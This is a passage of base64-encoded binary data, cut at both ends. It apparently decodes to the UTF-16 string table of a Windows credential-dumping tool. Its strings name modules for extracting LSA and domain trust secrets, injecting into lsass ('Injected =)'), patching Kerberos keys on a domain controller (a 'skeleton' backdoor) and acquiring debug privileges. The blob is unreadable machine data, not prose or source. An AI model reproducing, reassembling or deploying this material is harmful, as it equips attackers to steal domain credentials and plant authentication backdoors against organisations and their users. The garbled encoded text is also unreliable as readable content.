FIAZQBsAGEAdABpAHYAZQAgAEkARAAgACAAIAA6ACAAJQB1AAoAAAAAAAoAQwByAGUAZABlAG4AdABpAGEAbABzADoACgAAAAAAbABtACAAIAAAAAAACgBTAHUAcABwAGwAZQBtAGUAbgB0AGEAbAAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA6AAoAAAAqACAAJQB3AFoAIAAqAAoAAAAAACUwMngAAAAAIAAgACAAIABVAG4AawBuAG8AdwBuACAAZABhAHQAYQAgADoAIAAAACoAKgAgAFQAUgBVAFMAVABFAEQAIABEAE8ATQBBAEkATgAgAC0AIABBAG4AdABpAHMAbwBjAGkAYQBsACAAKgAqAAoACgAAAFAAYQByAHQAbgBlAHIAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHcAWgAKAAAAYQBjAGMAbwB1AG4AdAAAAGMAbwBtAHAAdQB0AGUAcgAAAAAAIAAgAEEAYwBjAG8AdQBuAHQAOgAgACUAcwAKAAAAAAAgACAATgBUAEwATQAgACAAIAA6ACAAAAAgACAATgBUAEwATQAtADEAIAA6ACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbgBlAHQAcwB5AG4AYwAgADsAIABJAF8ATgBlAHQAUwBlAHIAdgBlAHIAVAByAHUAcwB0AFAAYQBzAHMAdwBvAHIAZABzAEcAZQB0ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbgBlAHQAcwB5AG4AYwAgADsAIABTAGUAcgB2AGUAcgBDAHIAZQBkAGUAbgB0AGkAYQBsACAAZABvAGUAcwAgAG4AbwB0ACAAbQBhAHQAYwBoACAAQwBhAG4AZABpAGQAYQB0AGUAUwBlAHIAdgBlAHIAQwByAGUAZABlAG4AdABpAGEAbAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAG4AZQB0AHMAeQBuAGMAIAA7ACAASQBfAE4AZQB0AFMAZQByAHYAZQByAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABlADIAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBuAGUAdABzAHkAbgBjACAAOwAgAEkAXwBOAGUAdABTAGUAcgB2AGUAcgBSAGUAcQBDAGgAYQBsAGwAZQBuAGcAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbgBlAHQAcwB5AG4AYwAgADsAIABuAHQAbABtACAAaABhAHMAaAAvAHIAYwA0ACAAawBlAHkAIABsAGUAbgBnAHQAaAAgAG0AdQBzAHQAIABiAGUAIAAzADIAIAAoADEANgAgAGIAeQB0AGUAcwApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAG4AZQB0AHMAeQBuAGMAIAA7ACAATQBpAHMAcwBpAG4AZwAgAGEAcgBnAHUAbQBlAG4AdAAgADoAIABuAHQAbABtAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBuAGUAdABzAHkAbgBjACAAOwAgAE0AaQBzAHMAaQBuAGcAIABhAHIAZwB1AG0AZQBuAHQAIAA6ACAAdQBzAGUAcgAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbgBlAHQAcwB5AG4AYwAgADsAIABNAGkAcwBzAGkAbgBnACAAYQByAGcAdQBtAGUAbgB0ACAAOgAgAGQAYwAKAAAAYwBtAGQAAAAAAAAAQwBvAG0AbQBhAG4AZAAgAFAAcgBvAG0AcAB0ACAAIAAgACAAIAAgACAAIAAgACAAKAB3AGkAdABoAG8AdQB0ACAARABpAHMAYQBiAGwAZQBDAE0ARAApAAAAAAByAGUAZwBlAGQAaQB0AAAAAAAAAFIAZQBnAGkAcwB0AHIAeQAgAEUAZABpAHQAbwByACAAIAAgACAAIAAgACAAIAAgACgAdwBpAHQAaABvAHUAdAAgAEQAaQBzAGEAYgBsAGUAUgBlAGcAaQBzAHQAcgB5AFQAbwBvAGwAcwApAAAAAAB0AGEAcwBrAG0AZwByAAAAVABhAHMAawAgAE0AYQBuAGEAZwBlAHIAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKAB3AGkAdABoAG8AdQB0ACAARABpAHMAYQBiAGwAZQBUAGEAcwBrAE0AZwByACkAAAAAAG4AYwByAG8AdQB0AGUAbQBvAG4AAAAAAAAAAABKAHUAbgBpAHAAZQByACAATgBlAHQAdwBvAHIAawAgAEMAbwBuAG4AZQBjAHQAIAAoAHcAaQB0AGgAbwB1AHQAIAByAG8AdQB0AGUAIABtAG8AbgBpAHQAbwByAGkAbgBnACkAAAAAAGQAZQB0AG8AdQByAHMAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABUAHIAeQAgAHQAbwAgAGUAbgB1AG0AZQByAGEAdABlACAAYQBsAGwAIABtAG8AZAB1AGwAZQBzACAAdwBpAHQAaAAgAEQAZQB0AG8AdQByAHMALQBsAGkAawBlACAAaABvAG8AawBzAAAAbQBlAG0AcwBzAHAAAAAAAHMAawBlAGwAZQB0AG8AbgAAAAAAYwBvAG0AcAByAGUAcwBzAG0AZQAAAAAAbQBpAHMAYwAAAAAATQBpAHMAYwBlAGwAbABhAG4AZQBvAHUAcwAgAG0AbwBkAHUAbABlAAAAAABLAGkAdwBpAEEAbgBkAEMATQBEAAAAAABEAGkAcwBhAGIAbABlAEMATQBEAAAAAABjAG0AZAAuAGUAeABlAAAASwBpAHcAaQBBAG4AZABSAGUAZwBpAHMAdAByAHkAVABvAG8AbABzAAAAAABEAGkAcwBhAGIAbABlAFIAZQBnAGkAcwB0AHIAeQBUAG8AbwBsAHMAAAAAAHIAZQBnAGUAZABpAHQALgBlAHgAZQAAAEsAaQB3AGkAQQBuAGQAVABhAHMAawBNAGcAcgAAAAAARABpAHMAYQBiAGwAZQBUAGEAcwBrAE0AZwByAAAAAAB0AGEAcwBrAG0AZwByAC4AZQB4AGUAAABkAHMATgBjAFMAZQByAHYAaQBjAGUAAAAJACgAJQB3AFoAKQAAAAAACQBbACUAdQBdACAAJQB3AFoAIAAhACAAAAAAACUALQAzADIAUwAAACMAIAAlAHUAAAAAAAkAIAAlAHAAIAAtAD4AIAAlAHAAAAAAACUAdwBaACAAKAAlAHUAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGQAZQB0AG8AdQByAHMAXwBjAGEAbABsAGIAYQBjAGsAXwBwAHIAbwBjAGUAcwBzACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABQAGEAdABjAGgAIABPAEsAIABmAG8AcgAgACcAJQBzACcAIABmAHIAbwBtACAAJwAlAHMAJwAgAHQAbwAgACcAJQBzACcAIABAACAAJQBwAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AZwBlAG4AZQByAGkAYwBfAG4AbwBnAHAAbwBfAHAAYQB0AGMAaAAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABtAHMAdgBjAHIAdAAuAGQAbABsAAAAAABmb3BlbgAAAGZ3cHJpbnRmAAAAAGZjbG9zZQAAbABzAGEAcwBzAC4AZQB4AGUAAABtAHMAdgAxAF8AMAAuAGQAbABsAAAAAABJAG4AagBlAGMAdABlAGQAIAA9ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAG0AZQBtAHMAcwBwACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBjAG8AcAB5ACAALQAgAFQAcgBhAG0AcABvAGwAaQBuAGUAIABuADAAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAG0AZQBtAHMAcwBwACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBDAG8AZABlAFcAaQB0AHQAaABQAGEAdAB0AGUAcgBuAFIAZQBwAGwAYQBjAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYwBvAHAAeQAgAC0AIABUAHIAYQBtAHAAbwBsAGkAbgBlACAAbgAxACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYwBvAHAAeQAgAC0AIAByAGUAYQBsACAAYQBzAG0AIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AbQBlAG0AcwBzAHAAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAHMAZQBhAHIAYwBoACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AbQBlAG0AcwBzAHAAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABQAHIAbwBjAGUAcwBzAEkAZABGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAABMb2NhbEFsbG9jAABsAGUAdABhAGUAcwAAAAAAawBkAGMAcwB2AGMALgBkAGwAbAAAAAAAWwBLAEQAQwBdACAAZABhAHQAYQAKAAAAWwBLAEQAQwBdACAAcwB0AHIAdQBjAHQACgAAAFsASwBEAEMAXQAgAGsAZQB5AHMAIABwAGEAdABjAGgAIABPAEsACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHMAawBlAGwAZQB0AG8AbgAgADsAIABTAGUAYwBvAG4AZAAgAHAAYQB0AHQAZQByAG4AIABuAG8AdAAgAGYAbwB1AG4AZAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAGsAZQBsAGUAdABvAG4AIAA7ACAARgBpAHIAcwB0ACAAcABhAHQAdABlAHIAbgAgAG4AbwB0ACAAZgBvAHUAbgBkAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AcwBrAGUAbABlAHQAbwBuACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAGMAcgB5AHAAdABkAGwAbAAuAGQAbABsAAAAAABbAFIAQwA0AF0AIABmAHUAbgBjAHQAaQBvAG4AcwAKAAAAAABbAFIAQwA0AF0AIABpAG4AaQB0ACAAcABhAHQAYwBoACAATwBLAAoAAAAAAFsAUgBDADQAXQAgAGQAZQBjAHIAeQBwAHQAIABwAGEAdABjAGgAIABPAEsACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAGsAZQBsAGUAdABvAG4AIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABjAHIAZQBhAHQAZQAgAHIAZQBtAG8AdABlACAAZgB1AG4AYwB0AGkAbwBuAHMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHMAawBlAGwAZQB0AG8AbgAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAVQBzAGkAbgBnACAAJwAlAHMAJwAgAGEAcwAgAGkAbgBwAHUAdAAgAGYAaQBsAGUACgAAACAAKgAgAE8AcgBpAGcAaQBuAGEAbAAgAHMAaQB6AGUAIAAgADoAIAAlAHUACgAAAG0AaQBtAGkAawBhAHQAegBfAHgAOAA2AC4AYwBvAG0AcAByAGUAcwBzAGUAZAAAAAAAAAAgACoAIABDAG8AbQBwAHIAZQBzAHMAZQBkACAAcwBpAHoAZQA6ACAAJQB1ACAAKAAlAC4AMgBmACUAJQApAAoAVQBzAGkAbgBnACAAJwAlAHMAJwAgAGEAcwAgAG8AdQB0AHAAdQB0ACAAZgBpAGwAZQAuAC4ALgAgAAAATwBLACEACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AYwBvAG0AcAByAGUAcwBzAG0AZQAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwB3AHIAaQB0AGUARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABsAG8AYwBhAGwAZwByAG8AdQBwAAAAAABnAHIAbwB1AHAAAABuAGUAdAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBPAHAAZQBuAEQAbwBtAGEAaQBuACAAQgB1AGkAbAB0AGkAbgAgACgAPwApACAAJQAwADgAeAAKAAAACgBEAG8AbQBhAGkAbgAgAG4AYQBtAGUAIAA6ACAAJQB3AFoAAAAAAAoARABvAG0AYQBpAG4AIABTAEkARAAgACAAOgAgAAAACgAgACUALQA1AHUAIAAlAHcAWgAAAAAACgAgAHwAIAAlAC0ANQB1ACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ATABvAG8AawB1AHAASQBkAHMASQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBHAGUAdABHAHIAbwB1AHAAcwBGAG8AcgBVAHMAZQByACAAJQAwADgAeAAAAAAACgAgAHwAYAAlAC0ANQB1ACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBHAGUAdABBAGwAaQBhAHMATQBlAG0AYgBlAHIAcwBoAGkAcAAgACUAMAA4AHgAAAAAAAoAIAB8ALQAJQAtADUAdQAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAFIAaQBkAFQAbwBTAGkAZAAgACUAMAA4AHgAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBPAHAAZQBuAFUAcwBlAHIAIAAlADAAOAB4AAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ARQBuAHUAbQBlAHIAYQB0AGUAVQBzAGUAcgBzAEkAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAE8AcABlAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBMAG8AbwBrAHUAcABEAG8AbQBhAGkAbgBJAG4AUwBhAG0AUwBlAHIAdgBlAHIAIAAlADAAOAB4AAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ARQBuAHUAbQBlAHIAYQB0AGUARABvAG0AYQBpAG4AcwBJAG4AUwBhAG0AUwBlAHIAdgBlAHIAIAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBDAG8AbgBuAGUAYwB0ACAAJQAwADgAeAAKAAAAAABkAGUAYgB1AGcAAABBAHMAawAgAGQAZQBiAHUAZwAgAHAAcgBpAHYAaQBsAGUAZwBlAAAAZAByAGkAdgBlAHIAAAAAAEEAcwBrACAAbABvAGEAZAAgAGQAcgBpAHYAZQByACAAcAByAGkAdgBpAGwAZQBnAGUAAABBAHMAawAgAHMAZQBjAHUAcgBpAHQAeQAgAHAAcgBpAHYAaQBsAGUAZwBlAAAAAAB0AGMAYgAAAEEAcwBrACAAdABjAGIAIABwAHIAaQB2AGkAbABlAGcAZQAAAGIAYQBjAGsAdQBwAAAAAABBAHMAawAgAGIAYQBjAGsAdQBwACAAcAByAGkAdgBpAGwAZQBnAGUAAAAAAHIAZQBzAHQAbwByAGUAAABBAHMAawAgAHIAZQBzAHQAbwByAGUAIABwAHIAaQB2AGkAbABlAGcAZQAAAHMAeQBzAGUAbgB2AAAAAABBAHMAawAgAHMAeQBzAHQAZQBtACAAZQBuAHYAaQByAG8AbgBtAGUAbgB0ACAAcAByAGkAdgBpAGwAZQBnAGUAAAAAAEEAcwBrACAAYQAgAHAAcgBpAHYAaQBsAGUAZwBlACAAYgB5ACAAaQB0AHMAIABpAGQAAABBAHMAawAgAGEAIABwAHIAaQB2AGkAbABlAGcAZQAgAGIAeQAgAGkAdABzACAAbgBhAG0AZQAAAHAAcgBpAHYAaQBsAGUAZwBlAAAAUAByAGkAdgBpAGwAZQBnAGUAIABtAG8AZAB1AGwAZQAAAAAAUAByAGkAdgBpAGwAZQBnAGUAIAAnACUAdQAnACAATwBLAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAGkAdgBpAGwAZQBnAGUAXwBzAGkAbQBwAGwAZQAgADsAIABSAHQAbABBAGQAagB1AHMAdABQAHIAaQB2AGkAbABlAGcAZQAgACgAJQB1ACkAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAaQB2AGkAbABlAGcAZQBfAGkAZAAgADsAIABNAGkAcwBzAGkAbgBnACAAJwBpAGQAJwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAGkAdgBpAGwAZQBnAGUAXwBuAGEAbQBlACAAOwAgAEwAVQBJAEQAIABoAGkAZwBoACAAcABhAHIAdAAgAGkAcwAgACUAdQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAaQB2AGkAbABlAGcAZQBfAG4AYQBtAGUAIAA7ACAATABvAG8AawB1AHAAUAByAGkAdgBpAGwAZQBnAGUAVgBhAGwAdQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBpAHYAaQBsAGUAZwBlAF8AbgBhAG0AZQAgADsAIABNAGkAcwBzAGkAbgBnACAAJwBuAGEAbQBlACcACgAAAGUAeABwAG8AcgB0AHMAAABMAGkAcwB0ACAAZQB4AHAAbwByAHQAcwAAAAAAaQBtAHAAbwByAHQAcwAAAEwAaQBzAHQAIABpAG0AcABvAHIAdABzAAAAAABzAHQAYQByAHQAAABTAHQAYQByAHQAIABhACAAcAByAG8AYwBlAHMAcwAAAHMAdABvAHAAAAAAAFQAZQByAG0AaQBuAGEAdABlACAAYQAgAHAAcgBvAGMAZQBzAHMAAABzAHUAcwBwAGUAbgBkAAAAUwB1AHMAcABlAG4AZAAgAGEAIABwAHIAbwBjAGUAcwBzAAAAcgBlAHMAdQBtAGUAAAAAAFIAZQBzAHUAbQBlACAAYQAgAHAAcgBvAGMAZQBzAHMAAAAAAFAAcgBvAGMAZQBzAHMAIABtAG8AZAB1AGwAZQAAAAAAVAByAHkAaQBuAGcAIAB0AG8AIABzAHQAYQByAHQAIAAiACUAcwAiACAAOgAgAAAATwBLACAAIQAgACgAUABJAEQAIAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AcwB0AGEAcgB0ACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGMAcgBlAGEAdABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAE4AdABUAGUAcgBtAGkAbgBhAHQAZQBQAHIAbwBjAGUAcwBzAAAAAABOAHQAUwB1AHMAcABlAG4AZABQAHIAbwBjAGUAcwBzAAAAAABOAHQAUgBlAHMAdQBtAGUAUAByAG8AYwBlAHMAcwAAACUAcwAgAG8AZgAgACUAdQAgAFAASQBEACAAOgAgAE8ASwAgACEACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQBuAGUAcgBpAGMATwBwAGUAcgBhAHQAaQBvAG4AIAA7ACAAJQBzACAAMAB4ACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAG4AZQByAGkAYwBPAHAAZQByAGEAdABpAG8AbgAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAbgBlAHIAaQBjAE8AcABlAHIAYQB0AGkAbwBuACAAOwAgAHAAaQBkACAAKAAvAHAAaQBkADoAMQAyADMAKQAgAGkAcwAgAG0AaQBzAHMAaQBuAGcAAAAlAHUACQAlAHcAWgAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGMAYQBsAGwAYgBhAGMAawBQAHIAbwBjAGUAcwBzACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AYwBhAGwAbABiAGEAYwBrAFAAcgBvAGMAZQBzAHMAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAG8AcABlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAoAJQB3AFoAAAAAAAoACQAlAHAAIAAtAD4AIAAlAHUAAAAAAAkAJQB1AAAACQAgAAAAAAAJACUAcAAAAAkAJQBTAAAACQAtAD4AIAAlAFMAAAAAAAoACQAlAHAAIAAtAD4AIAAlAHAACQAlAFMAIAAhACAAAAAAACUAUwAAAAAAIwAlAHUAAABTAHQAYQByAHQAIABzAGUAcgB2AGkAYwBlAAAAUgBlAG0AbwB2AGUAIABzAGUAcgB2AGkAYwBlAAAAAABTAHQAbwBwACAAcwBlAHIAdgBpAGMAZQAAAAAAUwB1AHMAcABlAG4AZAAgAHMAZQByAHYAaQBjAGUAAABSAGUAcwB1AG0AZQAgAHMAZQByAHYAaQBjAGUAAAAAAHAAcgBlAHMAaAB1AHQAZABvAHcAbgAAAFAAcgBlAHMAaAB1AHQAZABvAHcAbgAgAHMAZQByAHYAaQBjAGUAAABzAGgAdQB0AGQAbwB3AG4AAAAAAFMAaAB1AHQAZABvAHcAbgAgAHMAZQByAHYAaQBjAGUAAAAAAEwAaQBzAHQAIABzAGUAcgB2AGkAYwBlAHMAAABTAGUAcgB2AGkAYwBlACAAbQBvAGQAdQBsAGUAAAAAACUAcwAgACcAJQBzACcAIABzAGUAcgB2AGkAYwBlACAAOgAgAAAAAAAAAAAARQBSAFIATwBSACAAZwBlAG4AZQByAGkAYwBGAHUAbgBjAHQAaQBvAG4AIAA7ACAAUwBlAHIAdgBpAGMAZQAgAG8AcABlAHIAYQB0AGkAbwBuACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABnAGUAbgBlAHIAaQBjAEYAdQBuAGMAdABpAG8AbgAgADsAIABJAG4AagBlAGMAdAAgAG4AbwB0ACAAYQB2AGEAaQBsAGEAYgBsAGUACgAAAAAAAABFAFIAUgBPAFIAIABnAGUAbgBlAHIAaQBjAEYAdQBuAGMAdABpAG8AbgAgADsAIABNAGkAcwBzAGkAbgBnACAAcwBlAHIAdgBpAGMAZQAgAG4AYQBtAGUAIABhAHIAZwB1AG0AZQBuAHQACgAAAAAAUwB0AGEAcgB0AGkAbgBnAAAAAABSAGUAbQBvAHYAaQBuAGcAAAAAAFMAdABvAHAAcABpAG4AZwAAAAAAUwB1AHMAcABlAG4AZABpAG4AZwAAAAAAUgBlAHMAdQBtAGkAbgBnAAAAAABQAHIAZQBzAGgAdQB0AGQAbwB3AG4AAABTAGgAdQB0AGQAbwB3AG4AAAAAAHMAZQByAHYAaQBjAGUAcwAuAGUAeABlAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AcwBlAHIAdgBpAGMAZQBfAHMAZQBuAGQAYwBvAG4AdAByAG8AbABfAGkAbgBwAHIAbwBjAGUAcwBzACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBzAGUAYQByAGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAZQByAHIAbwByACAAJQB1AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AcwBlAHIAdgBpAGMAZQBfAHMAZQBuAGQAYwBvAG4AdAByAG8AbABfAGkAbgBwAHIAbwBjAGUAcwBzACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBjAHIAZQBhAHQAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAHMAZQByAHYAaQBjAGUAXwBzAGUAbgBkAGMAbwBuAHQAcgBvAGwAXwBpAG4AcAByAG8AYwBlAHMAcwAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AcwBlAHIAdgBpAGMAZQBfAHMAZQBuAGQAYwBvAG4AdAByAG8AbABfAGkAbgBwAHIAbwBjAGUAcwBzACAAOwAgAE4AbwB0ACAAYQB2AGEAaQBsAGEAYgBsAGUAIAB3AGkAdABoAG8AdQB0ACAAUwBjAFMAZQBuAGQAQwBvAG4AdAByAG8AbAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAHMAZQByAHYAaQBjAGUAXwBzAGUAbgBkAGMAbwBuAHQAcgBvAGwAXwBpAG4AcAByAG8AYwBlAHMAcwAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAbABvAG8AawB1AHAAAAAAAE4AYQBtAGUAIABvAHIAIABTAEkARAAgAGwAbwBvAGsAdQBwAAAAAABxAHUAZQByAHkAAABRAHUAZQByAHkAIABvAGIAagBlAGMAdAAgAGIAeQAgAFMASQBEACAAbwByACAAbgBhAG0AZQAAAFMAZQBjAHUAcgBpAHQAeQAgAEkAZABlAG4AdABpAGYAaQBlAHIAcwAgAG0AbwBkAHUAbABlAAAAUwBJAEQAIAAgACAAOgAgACUAcwAKAAAAVAB5AHAAZQAgACAAOgAgACUAcwAKAEQAbwBtAGEAaQBuADoAIAAlAHMACgBOAGEAbQBlACAAIAA6ACAAJQBzAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGkAZABfAGwAbwBvAGsAdQBwACAAOwAgAGsAdQBsAGwAXwBtAF8AdABvAGsAZQBuAF8AZwBlAHQATgBhAG0AZQBEAG8AbQBhAGkAbgBGAHIAbwBtAFMASQBEACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGkAZABfAGwAbwBvAGsAdQBwACAAOwAgAEkAbgB2AGEAbABpAGQAIABTAEkARAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AbABvAG8AawB1AHAAIAA7ACAAQwBvAG4AdgBlAHIAdABTAHQAcgBpAG4AZwBTAGkAZABUAG8AUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAE4AYQBtAGUAIAAgADoAIAAlAHMACgAAAFQAeQBwAGUAIAAgADoAIAAlAHMACgBEAG8AbQBhAGkAbgA6ACAAJQBzAAoAUwBJAEQAIAAgACAAOgAgAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGkAZABfAGwAbwBvA